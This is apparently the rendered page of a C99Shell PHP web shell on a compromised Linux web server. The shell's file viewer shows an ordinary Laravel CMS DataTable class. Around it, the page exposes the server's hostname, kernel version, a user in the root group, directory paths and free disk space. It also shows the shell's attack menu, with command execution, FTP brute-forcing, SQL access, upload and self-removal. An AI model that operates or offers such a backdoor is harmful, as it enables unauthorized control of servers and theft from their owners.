!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-163-generic #173-Ubuntu SMP Tue Oct 14 17:51:00 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/ecom1.picotech.app/public_html_ecom1/Modules/CMS/DataTables/   drwxr-xr-x
Free 25.67 GB of 117.98 GB (21.76%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     PageDataTable.php (4.25 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

/**
 * @package PageDataTable
 * @author TechVillage <support@techvill.org>
 * @contributor Kabir Ahmed <[kabir.techvill@gmail.com]>
 * @created 27-12-2021
 */

namespace Modules\CMS\DataTables;

use 
App\DataTables\DataTable;
use 
Modules\CMS\Http\Models\Page;

class 
PageDataTable extends DataTable
{
    
/*
    * DataTable Ajax
    *
    * @return \Yajra\DataTables\DataTableAbstract|\Yajra\DataTables\DataTables
    */
    
public function ajax()
    {
        
$pages $this->query();
        return 
datatables()
            ->
of($pages)

            ->
addColumn('name', function ($pages) {
                return 
'<a href="' route('page.edit', ['id' => $pages->id]) . '">' ucfirst($pages->name) . '</a>';
            })->
addColumn('status', function ($pages) {
                return 
statusBadges(ucfirst($pages->status));
            })->
addColumn('type', function ($pages) {
                if (!
$pages->type || $pages->type == 'page') {
                    return 
__('Page');
                } else if (
$pages->type && $pages->default && $pages->type == 'home') {
                    return 
ucfirst($pages->type) . '<span class="badge btn-success text-white f-12 ml-2">' __('Default') . '</span>';
                }
                return 
ucfirst($pages->type);
            })->
addColumn('created_at', function ($pages) {
                return 
$pages->format_created_at;
            })->
addColumn('action', function ($pages) {

                
$edit '<a title="' __('Edit :x', ['x' => __('Page')]) . '" href="' route('page.edit', ['id' => $pages->id]) . '" class="btn btn-xs btn-primary"><i class="feather icon-edit neg-transition-scale-svg "></i></a>&nbsp';
                
$view '<a title="' __('View page') . '" href="' route('site.page'$pages->slug) . '" target="_blank" class="btn btn-xs btn-outline-warning"><i class="feather icon-eye"></i></a>&nbsp';

                
$delete '<form method="post" action="' route('page.delete', ['id' => $pages->id]) . '" id="delete-Pages-' $pages->id '" accept-charset="UTF-8" class="display_inline">
                        ' 
csrf_field() . '
                        <button title="' 
__('Delete :x', ['x' => __('Page.')]) . '" class="btn btn-xs btn-danger" type="button" data-id=' $pages->id ' data-label="Delete" data-delete="Pages" data-bs-toggle="modal" data-bs-target="#confirmDelete" data-title="' __('Delete :x', ['x' => __('Page')]) . '" data-message="' __('Are you sure to delete this?') . '">
                        <i class="feather icon-trash-2"></i>
                        </button>
                        </form>'
;
                
$str '';
                if (
$this->hasPermission(['Modules\CMS\Http\Controllers\CMSController@edit'])) {
                    
$str .= $edit;
                }
                
$str .= $view;
                if (
$this->hasPermission(['Modules\CMS\Http\Controllers\CMSController@delete'])) {
                    
$str .= $delete;
                }
                return 
$str;
            })

            ->
rawColumns(['name''status''action''type'])
            ->
make(true);
    }

    
/*
    * DataTable Query
    *
    * @return mixed
    */
    
public function query()
    {
        
$pages Page::get();
        return 
$this->applyScopes($pages);
    }

    
/*
    * DataTable HTML
    *
    * @return \Yajra\DataTables\Html\Builder
    */
    
public function html()
    {
        return 
$this->builder()
            ->
addColumn(['data' => 'name''name' => 'name''title' => __('Name')])
            ->
addColumn(['data' => 'status''name' => 'status''title' => __('Status')])
            ->
addColumn(['data' => 'type''name' => 'type''title' => __('Type')])
            ->
addColumn(['data' => 'created_at''name' => 'Crete''title' => __('Created At')])
            ->
addColumn([
                
'data' => 'action''name' => 'action''title' => __('Action'), 'width' => '5%',
                
'visible' => $this->hasPermission(['Modules\CMS\Http\Controllers\CMSController@edit''Modules\CMS\Http\Controllers\CMSController@delete']),
                
'orderable' => false'searchable' => false
            
])
            ->
dom('Bfrtip')
            ->
parameters(dataTableOptions());
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0057 ]--